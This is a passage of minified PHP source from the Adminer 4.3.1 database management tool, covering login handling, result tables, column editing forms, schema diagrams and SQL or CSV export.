Forbidden");if(($_COOKIE[$Jg]||$_GET[$Jg])&&!$id)$n=lang(81);else{add_invalid_login();$G=get_password();if($G!==null){if($G===false)$n.='<br>'.lang(82,'<code>permanentLogin()</code>');set_password(DRIVER,SERVER,$_GET["username"],null);}unset_permanent();}}if(!$_COOKIE[$Jg]&&$_GET[$Jg]&&ini_bool("session.use_only_cookies"))$n=lang(83);$F=session_get_cookie_params();cookie("adminer_key",($_COOKIE["adminer_key"]?$_COOKIE["adminer_key"]:rand_string()),$F["lifetime"]);page_header(lang(36),$n,null);echo"<form action='' method='post'>\n";$b->loginForm();echo"<div>";hidden_fields($_POST,array("auth"));echo"</div>\n","</form>\n";page_footer("auth");exit;}if(isset($_GET["username"])){if(!class_exists("Min_DB")){unset($_SESSION["pwds"][DRIVER]);unset_permanent();page_header(lang(84),lang(85,implode(", ",$Hf)),false);page_footer("auth");exit;}$g=connect();}$Xb=new Min_Driver($g);if(!is_object($g)||($fe=$b->login($_GET["username"],get_password()))!==true)auth_error((is_string($g)?h($g):(is_string($fe)?$fe:lang(86))));if($Ka&&$_POST["token"])$_POST["token"]=$Dh;$n='';if($_POST){if(!verify_token()){$xd="max_input_vars";$qe=ini_get($xd);if(extension_loaded("suhosin")){foreach(array("suhosin.request.max_vars","suhosin.post.max_vars")as$y){$X=ini_get($y);if($X&&(!$qe||$X<$qe)){$xd=$y;$qe=$X;}}}$n=(!$_POST["token"]&&$qe?lang(87,"'$xd'"):lang(79).' '.lang(88));}}elseif($_SERVER["REQUEST_METHOD"]=="POST"){$n=lang(89,"'post_max_size'");if(isset($_GET["sql"]))$n.=' '.lang(90);}if(!ini_bool("session.use_cookies")||@ini_set("session.use_cookies",false)!==false)session_write_close();function select($I,$h=null,$gf=array(),$z=0){global$x;$ee=array();$w=array();$e=array();$Ta=array();$Rh=array();$J=array();odd('');for($s=0;(!$z||$s<$z)&&($K=$I->fetch_row());$s++){if(!$s){echo"<table cellspacing='0' class='nowrap'>\n","<thead><tr>";for($Jd=0;$Jd<count($K);$Jd++){$o=$I->fetch_field();$C=$o->name;$ff=$o->orgtable;$ef=$o->orgname;$J[$o->table]=$ff;if($gf&&$x=="sql")$ee[$Jd]=($C=="table"?"table=":($C=="possible_keys"?"indexes=":null));elseif($ff!=""){if(!isset($w[$ff])){$w[$ff]=array();foreach(indexes($ff,$h)as$v){if($v["type"]=="PRIMARY"){$w[$ff]=array_flip($v["columns"]);break;}}$e[$ff]=$w[$ff];}if(isset($e[$ff][$ef])){unset($e[$ff][$ef]);$w[$ff][$ef]=$Jd;$ee[$Jd]=$ff;}}if($o->charsetnr==63)$Ta[$Jd]=true;$Rh[$Jd]=$o->type;echo"<th".($ff!=""||$o->name!=$ef?" title='".h(($ff!=""?"$ff.":"").$ef)."'":"").">".h($C).($gf?doc_link(array('sql'=>"explain-output.html#explain_".strtolower($C))):"");}echo"</thead>\n";}echo"<tr".odd().">";foreach($K as$y=>$X){if($X===null)$X="<i>NULL</i>";elseif($Ta[$y]&&!is_utf8($X))$X="<i>".lang(44,strlen($X))."</i>";elseif(!strlen($X))$X=" ";else{$X=h($X);if($Rh[$y]==254)$X="<code>$X</code>";}if(isset($ee[$y])&&!$e[$ee[$y]]){if($gf&&$x=="sql"){$R=$K[array_search("table=",$ee)];$_=$ee[$y].urlencode($gf[$R]!=""?$gf[$R]:$R);}else{$_="edit=".urlencode($ee[$y]);foreach($w[$ee[$y]]as$lb=>$Jd)$_.="&where".urlencode("[".bracket_escape($lb)."]")."=".urlencode($K[$Jd]);}$X="<a href='".h(ME.$_)."'>$X</a>";}echo"<td>$X";}}echo($s?"</table>":"<p class='message'>".lang(12))."\n";return$J;}function referencable_primary($Cg){$J=array();foreach(table_status('',true)as$gh=>$R){if($gh!=$Cg&&fk_support($R)){foreach(fields($gh)as$o){if($o["primary"]){if($J[$gh]){unset($J[$gh]);break;}$J[$gh]=$o;}}}}return$J;}function textarea($C,$Y,$L=10,$pb=80){global$x;echo"<textarea name='$C' rows='$L' cols='$pb' class='sqlarea jush-$x' spellcheck='false' wrap='off'>";if(is_array($Y)){foreach($Y as$X)echo h($X[0])."\n\n\n";}else echo h($Y);echo"</textarea>";}function edit_type($y,$o,$ob,$Tc=array()){global$Yg,$Rh,$Yh,$Te;$U=$o["type"];echo'<td><select name="',h($y),'[type]" class="type" onfocus="lastType = selectValue(this);" onchange="editingTypeChange(this);"',on_help("getTarget(event).value",1),' aria-labelledby="label-type">';if($U&&!isset($Rh[$U])&&!isset($Tc[$U]))array_unshift($Yg,$U);if($Tc)$Yg[lang(91)]=$Tc;echo optionlist($Yg,$U),'</select> <td><input name="',h($y),'[length]" value="',h($o["length"]),'" size="3" onfocus="editingLengthFocus(this);"',(!$o["length"]&&preg_match('~var(char|binary)$~',$U)?" class='required'":""),' onchange="editingLengthChange(this);" onkeyup="this.onchange();" aria-labelledby="label-length"><td class="options">';echo"<select name='".h($y)."[collation]'".(preg_match('~(char|text|enum|set)$~',$U)?"":" class='hidden'").'><option value="">('.lang(92).')'.optionlist($ob,$o["collation"]).'</select>',($Yh?"<select name='".h($y)."[unsigned]'".(!$U||preg_match('~((^|[^o])int|float|double|decimal)$~',$U)?"":" class='hidden'").'><option>'.optionlist($Yh,$o["unsigned"]).'</select>':''),(isset($o['on_update'])?"<select name='".h($y)."[on_update]'".(preg_match('~timestamp|datetime~',$U)?"":" class='hidden'").'>'.optionlist(array(""=>"(".lang(93).")","CURRENT_TIMESTAMP"),$o["on_update"]).'</select>':''),($Tc?"<select name='".h($y)."[on_delete]'".(preg_match("~`~",$U)?"":" class='hidden'")."><option value=''>(".lang(94).")".optionlist(explode("|",$Te),$o["on_delete"])."</select> ":" ");}function process_length($be){global$qc;return(preg_match("~^\\s*\\(?\\s*$qc(?:\\s*,\\s*$qc)*+\\s*\\)?\\s*\$~",$be)&&preg_match_all("~$qc~",$be,$ke)?"(".implode(",",$ke[0]).")":preg_replace('~^[0-9].*~','(\0)',preg_replace('~[^-0-9,+()[\]]~','',$be)));}function process_type($o,$mb="COLLATE"){global$Yh;return" $o[type]".process_length($o["length"]).(preg_match('~(^|[^o])int|float|double|decimal~',$o["type"])&&in_array($o["unsigned"],$Yh)?" $o[unsigned]":"").(preg_match('~char|text|enum|set~',$o["type"])&&$o["collation"]?" $mb ".q($o["collation"]):"");}function process_field($o,$Ph){global$x;$Mb=$o["default"];return array(idf_escape(trim($o["field"])),process_type($Ph),($o["null"]?" NULL":" NOT NULL"),(isset($Mb)?" DEFAULT ".((preg_match('~time~',$o["type"])&&preg_match('~^CURRENT_TIMESTAMP$~i',$Mb))||($x=="sqlite"&&preg_match('~^CURRENT_(TIME|TIMESTAMP|DATE)$~i',$Mb))||($o["type"]=="bit"&&preg_match("~^([0-9]+|b'[0-1]+')\$~",$Mb))||($x=="pgsql"&&preg_match("~^[a-z]+\\(('[^']*')+\\)\$~",$Mb))?$Mb:q($Mb)):""),(preg_match('~timestamp|datetime~',$o["type"])&&$o["on_update"]?" ON UPDATE $o[on_update]":""),(support("comment")&&$o["comment"]!=""?" COMMENT ".q($o["comment"]):""),($o["auto_increment"]?auto_increment():null),);}function type_class($U){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$y=>$X){if(preg_match("~$y|$X~",$U))return" class='$y'";}}function edit_fields($p,$ob,$U="TABLE",$Tc=array(),$tb=false){global$g,$yd;$p=array_values($p);echo'<thead><tr class="wrap"> ';if($U=="PROCEDURE"){echo'<td> ';}echo'<th id="label-name">',($U=="TABLE"?lang(95):lang(96)),'<td id="label-type">',lang(46),'<textarea id="enum-edit" rows="4" cols="12" wrap="off" style="display: none;" onblur="editingLengthBlur(this);"></textarea> <td id="label-length">',lang(97),'<td>',lang(98);if($U=="TABLE"){echo'<td id="label-null">NULL <td><input type="radio" name="auto_increment_col" value=""><acronym id="label-ai" title="',lang(48),'">AI</acronym>',doc_link(array('sql'=>"example-auto-increment.html",'sqlite'=>"autoinc.html",'pgsql'=>"datatype.html#DATATYPE-SERIAL",'mssql'=>"ms186775.aspx",)),'<td id="label-default">',lang(49),(support("comment")?"<td id='label-comment'".($tb?"":" class='hidden'").">".lang(47):"");}echo'<td>',"<input type='image' class='icon' name='add[".(support("move_col")?0:count($p))."]' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&version=4.3.1' alt='+' title='".lang(99)."'>",'<script type="text/javascript">row_count = ',count($p),';</script> </thead> <tbody onkeydown="return editingKeydown(event);"> ';foreach($p as$s=>$o){$s++;$hf=$o[($_POST?"orig":"field")];$Tb=(isset($_POST["add"][$s-1])||(isset($o["field"])&&!$_POST["drop_col"][$s]))&&(support("drop_col")||$hf=="");echo'<tr',($Tb?"":" style='display: none;'"),'> ',($U=="PROCEDURE"?"<td>".html_select("fields[$s][inout]",explode("|",$yd),$o["inout"]):""),'<th>';if($Tb){echo'<input name="fields[',$s,'][field]" value="',h($o["field"]),'" onchange="editingNameChange(this);',($o["field"]!=""||count($p)>1?'':' editingAddRow(this);" onkeyup="if (this.value) editingAddRow(this);'),'" maxlength="64" autocapitalize="off" aria-labelledby="label-name">';}echo'<input type="hidden" name="fields[',$s,'][orig]" value="',h($hf),'"> ';edit_type("fields[$s]",$o,$ob,$Tc);if($U=="TABLE"){echo'<td>',checkbox("fields[$s][null]",1,$o["null"],"","","block","label-null"),'<td><label class="block"><input type="radio" name="auto_increment_col" value="',$s,'"';if($o["auto_increment"]){echo' checked';}?> onclick="var field = this.form['fields[' + this.value + '][field]']; if (!field.value) { field.value = 'id'; field.onchange(); }" aria-labelledby="label-ai"></label><td><?php echo checkbox("fields[$s][has_default]",1,$o["has_default"],"","","","label-default"),'<input name="fields[',$s,'][default]" value="',h($o["default"]),'" onkeyup="keyupChange.call(this);" onchange="this.previousSibling.checked = true;" aria-labelledby="label-default"> ',(support("comment")?"<td".($tb?"":" class='hidden'")."><input name='fields[$s][comment]' value='".h($o["comment"])."' maxlength='".($g->server_info>=5.5?1024:255)."' aria-labelledby='label-comment'>":"");}echo"<td>",(support("move_col")?"<input type='image' class='icon' name='add[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&version=4.3.1' alt='+' title='".lang(99)."' onclick='return !editingAddRow(this, 1);'> "."<input type='image' class='icon' name='up[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=up.gif&version=4.3.1' alt='^' title='".lang(100)."' onclick='return !editingMoveRow(this, 1);'> "."<input type='image' class='icon' name='down[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=down.gif&version=4.3.1' alt='v' title='".lang(101)."' onclick='return !editingMoveRow(this, 0);'> ":""),($hf==""||support("drop_col")?"<input type='image' class='icon' name='drop_col[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=cross.gif&version=4.3.1' alt='x' title='".lang(102)."' onclick=\"return !editingRemoveRow(this, 'fields\$1[field]');\">":""),"\n";}}function process_fields(&$p){$D=0;if($_POST["up"]){$Vd=0;foreach($p as$y=>$o){if(key($_POST["up"])==$y){unset($p[$y]);array_splice($p,$Vd,0,array($o));break;}if(isset($o["field"]))$Vd=$D;$D++;}}elseif($_POST["down"]){$Vc=false;foreach($p as$y=>$o){if(isset($o["field"])&&$Vc){unset($p[key($_POST["down"])]);array_splice($p,$D,0,array($Vc));break;}if(key($_POST["down"])==$y)$Vc=$o;$D++;}}elseif($_POST["add"]){$p=array_values($p);array_splice($p,key($_POST["add"]),0,array(array()));}elseif(!$_POST["drop_col"])return false;return true;}function normalize_enum($B){return"'".str_replace("'","''",addcslashes(stripcslashes(str_replace($B[0][0].$B[0][0],$B[0][0],substr($B[0],1,-1))),'\\'))."'";}function grant($ad,$Pf,$e,$Se){if(!$Pf)return true;if($Pf==array("ALL PRIVILEGES","GRANT OPTION"))return($ad=="GRANT"?queries("$ad ALL PRIVILEGES$Se WITH GRANT OPTION"):queries("$ad ALL PRIVILEGES$Se")&&queries("$ad GRANT OPTION$Se"));return queries("$ad ".preg_replace('~(GRANT OPTION)\\([^)]*\\)~','\\1',implode("$e, ",$Pf).$e).$Se);}function drop_create($Zb,$i,$ac,$sh,$cc,$A,$ve,$te,$ue,$Pe,$Fe){if($_POST["drop"])query_redirect($Zb,$A,$ve);elseif($Pe=="")query_redirect($i,$A,$ue);elseif($Pe!=$Fe){$Db=queries($i);queries_redirect($A,$te,$Db&&queries($Zb));if($Db)queries($ac);}else queries_redirect($A,$te,queries($sh)&&queries($cc)&&queries($Zb)&&queries($i));}function create_trigger($Se,$K){global$x;$xh=" $K[Timing] $K[Event]".($K["Event"]=="UPDATE OF"?" ".idf_escape($K["Of"]):"");return"CREATE TRIGGER ".idf_escape($K["Trigger"]).($x=="mssql"?$Se.$xh:$xh.$Se).rtrim(" $K[Type]\n$K[Statement]",";").";";}function create_routine($rg,$K){global$yd;$O=array();$p=(array)$K["fields"];ksort($p);foreach($p as$o){if($o["field"]!="")$O[]=(preg_match("~^($yd)\$~",$o["inout"])?"$o[inout] ":"").idf_escape($o["field"]).process_type($o,"CHARACTER SET");}return"CREATE $rg ".idf_escape(trim($K["name"]))." (".implode(", ",$O).")".(isset($_GET["function"])?" RETURNS".process_type($K["returns"],"CHARACTER SET"):"").($K["language"]?" LANGUAGE $K[language]":"").rtrim("\n$K[definition]",";").";";}function remove_definer($H){return preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|\\1)',logged_user()).'`~','\\1',$H);}function format_foreign_key($q){global$Te;return" FOREIGN KEY (".implode(", ",array_map('idf_escape',$q["source"])).") REFERENCES ".table($q["table"])." (".implode(", ",array_map('idf_escape',$q["target"])).")".(preg_match("~^($Te)\$~",$q["on_delete"])?" ON DELETE $q[on_delete]":"").(preg_match("~^($Te)\$~",$q["on_update"])?" ON UPDATE $q[on_update]":"");}function tar_file($Kc,$Bh){$J=pack("a100a8a8a8a12a12",$Kc,644,0,0,decoct($Bh->size),decoct(time()));$fb=8*32;for($s=0;$s<strlen($J);$s++)$fb+=ord($J[$s]);$J.=sprintf("%06o",$fb)."\0 ";echo$J,str_repeat("\0",512-strlen($J));$Bh->send();echo str_repeat("\0",511-($Bh->size+511)%512);}function ini_bytes($xd){$X=ini_get($xd);switch(strtolower(substr($X,-1))){case'g':$X*=1024;case'm':$X*=1024;case'k':$X*=1024;}return$X;}function doc_link($_f){global$x,$g;$ci=array('sql'=>"http://dev.mysql.com/doc/refman/".substr($g->server_info,0,3)."/en/",'sqlite'=>"http://www.sqlite.org/",'pgsql'=>"http://www.postgresql.org/docs/".substr($g->server_info,0,3)."/static/",'mssql'=>"http://msdn.microsoft.com/library/",'oracle'=>"http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/",);return($_f[$x]?"<a href='$ci[$x]$_f[$x]' target='_blank' rel='noreferrer'><sup>?</sup></a>":"");}function ob_gzencode($Q){return gzencode($Q);}function db_size($m){global$g;if(!$g->select_db($m))return"?";$J=0;foreach(table_status()as$S)$J+=$S["Data_length"]+$S["Index_length"];return format_number($J);}function set_utf8mb4($i){global$g;static$O=false;if(!$O&&preg_match('~\butf8mb4~i',$i)){$O=true;echo"SET NAMES ".charset($g).";\n\n";}}function connect_error(){global$b,$g,$Dh,$n,$Yb;if(DB!=""){header("HTTP/1.1 404 Not Found");page_header(lang(35).": ".h(DB),lang(103),true);}else{if($_POST["db"]&&!$n)queries_redirect(substr(ME,0,-1),lang(104),drop_databases($_POST["db"]));page_header(lang(105),$n,false);echo"<p class='links'>\n";foreach(array('database'=>lang(106),'privileges'=>lang(68),'processlist'=>lang(107),'variables'=>lang(108),'status'=>lang(109),'replication'=>lang(110),)as$y=>$X){if(support($y))echo"<a href='".h(ME)."$y='>$X</a>\n";}echo"<p>".lang(111,$Yb[DRIVER],"<b>".h($g->server_info)."</b>","<b>$g->extension</b>")."\n","<p>".lang(112,"<b>".h(logged_user())."</b>")."\n";$l=$b->databases();if($l){$yg=support("scheme");$ob=collations();echo"<form action='' method='post'>\n","<table cellspacing='0' class='checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n","<thead><tr>".(support("database")?"<td> ":"")."<th>".lang(35)." - <a href='".h(ME)."refresh=1'>".lang(113)."</a>"."<td>".lang(114)."<td>".lang(115)."<td>".lang(116)." - <a href='".h(ME)."dbsize=1' onclick=\"return !ajaxSetHtml('".h(js_escape(ME))."script=connect');\">".lang(117)."</a>"."</thead>\n";$l=($_GET["dbsize"]?count_tables($l):array_flip($l));foreach($l as$m=>$T){$qg=h(ME)."db=".urlencode($m);$t=h("Db-".$m);echo"<tr".odd().">".(support("database")?"<td>".checkbox("db[]",$m,in_array($m,(array)$_POST["db"]),"","","",$t):""),"<th><a href='$qg' id='$m'>".h($m)."</a>";$nb=nbsp(db_collation($m,$ob));echo"<td>".(support("database")?"<a href='$qg".($yg?"&ns=":"")."&database=' title='".lang(64)."'>$nb</a>":$nb),"<td align='right'><a href='$qg&schema=' id='tables-".h($m)."' title='".lang(67)."'>".($_GET["dbsize"]?$T:"?")."</a>","<td align='right' id='size-".h($m)."'>".($_GET["dbsize"]?db_size($m):"?"),"\n";}echo"</table>\n",(support("database")?"<fieldset><legend>".lang(118)." <span id='selected'></span></legend><div>\n"."<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^db/));\">\n"."<input type='submit' name='drop' value='".lang(119)."'".confirm().">\n"."</div></fieldset>\n":""),"<script type='text/javascript'>tableCheck();</script>\n","<input type='hidden' name='token' value='$Dh'>\n","</form>\n";}}page_footer("db");}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(isset($_GET["import"]))$_GET["sql"]=$_GET["import"];if(!(DB!=""?$g->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["replication"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")){if(DB!=""||$_GET["refresh"]){restart_session();set_session("dbs",null);}connect_error();exit;}if(support("scheme")&&DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){header("HTTP/1.1 404 Not Found");page_header(lang(73).": ".h($_GET["ns"]),lang(120),true);page_footer("ns");exit;}}$Te="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";class TmpFile{var$handler;var$size;function __construct(){$this->handler=tmpfile();}function write($yb){$this->size+=strlen($yb);fwrite($this->handler,$yb);}function send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$qc="'(?:''|[^'\\\\]|\\\\.)*'";$yd="IN|OUT|INOUT";if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])$_GET["edit"]=$_GET["select"];if(isset($_GET["callf"]))$_GET["call"]=$_GET["callf"];if(isset($_GET["function"]))$_GET["procedure"]=$_GET["function"];if(isset($_GET["download"])){$a=$_GET["download"];$p=fields($a);header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));$M=array(idf_escape($_GET["field"]));$I=$Xb->select($a,$M,array(where($_GET,$p)),$M);$K=($I?$I->fetch_row():array());echo$K[0];exit;}elseif(isset($_GET["table"])){$a=$_GET["table"];$p=fields($a);if(!$p)$n=error();$S=table_status1($a,true);page_header(($p&&is_view($S)?$S['Engine']=='materialized view'?lang(121):lang(122):lang(123)).": ".h($a),$n);$b->selectLinks($S);$sb=$S["Comment"];if($sb!="")echo"<p>".lang(47).": ".h($sb)."\n";if($p)$b->tableStructurePrint($p);if(!is_view($S)){if(support("indexes")){echo"<h3 id='indexes'>".lang(124)."</h3>\n";$w=indexes($a);if($w)$b->tableIndexesPrint($w);echo'<p class="links"><a href="'.h(ME).'indexes='.urlencode($a).'">'.lang(125)."</a>\n";}if(fk_support($S)){echo"<h3 id='foreign-keys'>".lang(91)."</h3>\n";$Tc=foreign_keys($a);if($Tc){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(126)."<td>".lang(127)."<td>".lang(94)."<td>".lang(93)."<td> </thead>\n";foreach($Tc as$C=>$q){echo"<tr title='".h($C)."'>","<th><i>".implode("</i>, <i>",array_map('h',$q["source"]))."</i>","<td><a href='".h($q["db"]!=""?preg_replace('~db=[^&]*~',"db=".urlencode($q["db"]),ME):($q["ns"]!=""?preg_replace('~ns=[^&]*~',"ns=".urlencode($q["ns"]),ME):ME))."table=".urlencode($q["table"])."'>".($q["db"]!=""?"<b>".h($q["db"])."</b>.":"").($q["ns"]!=""?"<b>".h($q["ns"])."</b>.":"").h($q["table"])."</a>","(<i>".implode("</i>, <i>",array_map('h',$q["target"]))."</i>)","<td>".nbsp($q["on_delete"])."\n","<td>".nbsp($q["on_update"])."\n",'<td><a href="'.h(ME.'foreign='.urlencode($a).'&name='.urlencode($C)).'">'.lang(128).'</a>';}echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'foreign='.urlencode($a).'">'.lang(129)."</a>\n";}}if(support(is_view($S)?"view_trigger":"trigger")){echo"<h3 id='triggers'>".lang(130)."</h3>\n";$Oh=triggers($a);if($Oh){echo"<table cellspacing='0'>\n";foreach($Oh as$y=>$X)echo"<tr valign='top'><td>".h($X[0])."<td>".h($X[1])."<th>".h($y)."<td><a href='".h(ME.'trigger='.urlencode($a).'&name='.urlencode($y))."'>".lang(128)."</a>\n";echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'trigger='.urlencode($a).'">'.lang(131)."</a>\n";}}elseif(isset($_GET["schema"])){page_header(lang(67),"",array(),h(DB.($_GET["ns"]?".$_GET[ns]":"")));$ih=array();$jh=array();$ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE["adminer_schema-".str_replace(".","_",DB)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$ke,PREG_SET_ORDER);foreach($ke as$s=>$B){$ih[$B[1]]=array($B[2],$B[3]);$jh[]="\n\t'".js_escape($B[1])."': [ $B[2], $B[3] ]";}$Eh=0;$Qa=-1;$xg=array();$eg=array();$Zd=array();foreach(table_status('',true)as$R=>$S){if(is_view($S))continue;$Ef=0;$xg[$R]["fields"]=array();foreach(fields($R)as$C=>$o){$Ef+=1.25;$o["pos"]=$Ef;$xg[$R]["fields"][$C]=$o;}$xg[$R]["pos"]=($ih[$R]?$ih[$R]:array($Eh,0));foreach($b->foreignKeys($R)as$X){if(!$X["db"]){$Xd=$Qa;if($ih[$R][1]||$ih[$X["table"]][1])$Xd=min(floatval($ih[$R][1]),floatval($ih[$X["table"]][1]))-1;else$Qa-=.1;while($Zd[(string)$Xd])$Xd-=.0001;$xg[$R]["references"][$X["table"]][(string)$Xd]=array($X["source"],$X["target"]);$eg[$X["table"]][$R][(string)$Xd]=$X["target"];$Zd[(string)$Xd]=true;}}$Eh=max($Eh,$xg[$R]["pos"][0]+2.5+$Ef);}echo'<div id="schema" style="height: ',$Eh,'em;" onselectstart="return false;"> <script type="text/javascript"> var tablePos = {',implode(",",$jh)."\n",'}; var em = document.getElementById(\'schema\').offsetHeight / ',$Eh,'; document.onmousemove = schemaMousemove; document.onmouseup = function (ev) { schemaMouseup(ev, \'',js_escape(DB),'\'); }; </script> ';foreach($xg as$C=>$R){echo"<div class='table' style='top: ".$R["pos"][0]."em; left: ".$R["pos"][1]."em;' onmousedown='schemaMousedown(this, event);'>",'<a href="'.h(ME).'table='.urlencode($C).'"><b>'.h($C)."</b></a>";foreach($R["fields"]as$o){$X='<span'.type_class($o["type"]).' title="'.h($o["full_type"].($o["null"]?" NULL":'')).'">'.h($o["field"]).'</span>';echo"<br>".($o["primary"]?"<i>$X</i>":$X);}foreach((array)$R["references"]as$ph=>$fg){foreach($fg as$Xd=>$bg){$Yd=$Xd-$ih[$C][1];$s=0;foreach($bg[0]as$Qg)echo"\n<div class='references' title='".h($ph)."' id='refs$Xd-".($s++)."' style='left: $Yd"."em; top: ".$R["fields"][$Qg]["pos"]."em; padding-top: .5em;'><div style='border-top: 1px solid Gray; width: ".(-$Yd)."em;'></div></div>";}}foreach((array)$eg[$C]as$ph=>$fg){foreach($fg as$Xd=>$e){$Yd=$Xd-$ih[$C][1];$s=0;foreach($e as$oh)echo"\n<div class='references' title='".h($ph)."' id='refd$Xd-".($s++)."' style='left: $Yd"."em; top: ".$R["fields"][$oh]["pos"]."em; height: 1.25em; background: url(".h(preg_replace("~\\?.*~","",ME))."?file=arrow.gif) no-repeat right center;&version=4.3.1'><div style='height: .5em; border-bottom: 1px solid Gray; width: ".(-$Yd)."em;'></div></div>";}}echo"\n</div>\n";}foreach($xg as$C=>$R){foreach((array)$R["references"]as$ph=>$fg){foreach($fg as$Xd=>$bg){$ze=$Eh;$oe=-10;foreach($bg[0]as$y=>$Qg){$Ff=$R["pos"][0]+$R["fields"][$Qg]["pos"];$Gf=$xg[$ph]["pos"][0]+$xg[$ph]["fields"][$bg[1][$y]]["pos"];$ze=min($ze,$Ff,$Gf);$oe=max($oe,$Ff,$Gf);}echo"<div class='references' id='refl$Xd' style='left: $Xd"."em; top: $ze"."em; padding: .5em 0;'><div style='border-right: 1px solid Gray; margin-top: 1px; height: ".($oe-$ze)."em;'></div></div>\n";}}}echo'</div> <p class="links"><a href="',h(ME."schema=".urlencode($ea)),'" id="schema-link">',lang(132),'</a> ';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST&&!$n){$Ab="";foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style")as$y)$Ab.="&$y=".urlencode($_POST[$y]);cookie("adminer_export",substr($Ab,1));$T=array_flip((array)$_POST["tables"])+array_flip((array)$_POST["data"]);$Bc=dump_headers((count($T)==1?key($T):DB),(DB==""||count($T)>1));$Fd=preg_match('~sql~',$_POST["format"]);if($Fd){echo"-- Adminer $ia ".$Yb[DRIVER]." dump\n\n";if($x=="sql"){echo"SET NAMES utf8; SET time_zone = '+00:00'; ".($_POST["data_style"]?"SET foreign_key_checks = 0; SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'; ":"")." ";$g->query("SET time_zone = '+00:00';");}}$Zg=$_POST["db_style"];$l=array(DB);if(DB==""){$l=$_POST["databases"];if(is_string($l))$l=explode("\n",rtrim(str_replace("\r","",$l),"\n"));}foreach((array)$l as$m){$b->dumpDatabase($m);if($g->select_db($m)){if($Fd&&preg_match('~CREATE~',$Zg)&&($i=$g->result("SHOW CREATE DATABASE ".idf_escape($m),1))){set_utf8mb4($i);if($Zg=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($m).";\n";echo"$i;\n";}if($Fd){if($Zg)echo use_sql($m).";\n\n";$nf="";if($_POST["routines"]){foreach(array("FUNCTION","PROCEDURE")as$rg){foreach(get_rows("SHOW $rg STATUS WHERE Db = ".q($m),null,"-- ")as$K){$i=remove_definer($g->result("SHOW CREATE $rg ".idf_escape($K["Name"]),2));set_utf8mb4($i);$nf.=($Zg!='DROP+CREATE'?"DROP $rg IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$i;;\n\n";}}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$K){$i=remove_definer($g->result("SHOW CREATE EVENT ".idf_escape($K["Name"]),3));set_utf8mb4($i);$nf.=($Zg!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$i;;\n\n";}}if($nf)echo"DELIMITER ;;\n\n$nf"."DELIMITER ;\n\n";}if($_POST["table_style"]||$_POST["data_style"]){$oi=array();foreach(table_status('',true)as$C=>$S){$R=(DB==""||in_array($C,(array)$_POST["tables"]));$Gb=(DB==""||in_array($C,(array)$_POST["data"]));if($R||$Gb){if($Bc=="tar"){$Bh=new TmpFile;ob_start(array($Bh,'write'),1e5);}$b->dumpTable($C,($R?$_POST["table_style"]:""),(is_view($S)?2:0));if(is_view($S))$oi[]=$C;elseif($Gb){$p=fields($C);$b->dumpData($C,$_POST["data_style"],"SELECT *".convert_fields($p,$p)." FROM ".table($C));}if($Fd&&$_POST["triggers"]&&$R&&($Oh=trigger_sql($C,$_POST["table_style"])))echo"\nDELIMITER ;;\n$Oh\nDELIMITER ;\n";if($Bc=="tar"){ob_end_flush();tar_file((DB!=""?"":"$m/")."$C.csv",$Bh);}elseif($Fd)echo"\n";}}foreach($oi as$ni)$b->dumpTable($ni,$_POST["table_style"],1);if($Bc=="tar")echo pack("x512");}}}if($Fd)echo"-- ".$g->result("SELECT NOW()")."\n";exit;}page_header(lang(70),$n,($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),h(DB));echo' <form action="" method="post"> <table cellspacing="0"> ';$Jb=array('','USE','DROP+CREATE','CREATE');$kh=array('','DROP+CREATE','CREATE');$Hb=array('','TRUNCATE+INSERT','INSERT');if($x=="sql")$Hb[]='INSERT+UPDATE';parse_str($_COOKIE["adminer_export"],$K);if(!$K)$K=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");if(!isset($K["events"])){$K["routines"]=$K["events"]=($_GET["dump"]=="");$K["triggers"]=$K["table_style"];}echo"<tr><th>".lang(133)."<td>".html_select("output",$b->dumpOutput(),$K["output"],0)."\n";echo"<tr><th>".lang(134)."<td>".html_select("format",$b->dumpFormat(),$K["format"],0)."\n";echo($x=="sqlite"?"":"<tr><th>".lang(35)."<td>".html_select('db_style',$Jb,$K["db_style"]).(support("routine")?checkbox("routines",1,$K["routines"],lang(135)):"").(support("event")?checkbox("events",1,$K["events"],lang(136)):"")),"<tr><th>".lang(115)."<td>".html_select('table_style',$kh,$K["table_style"]).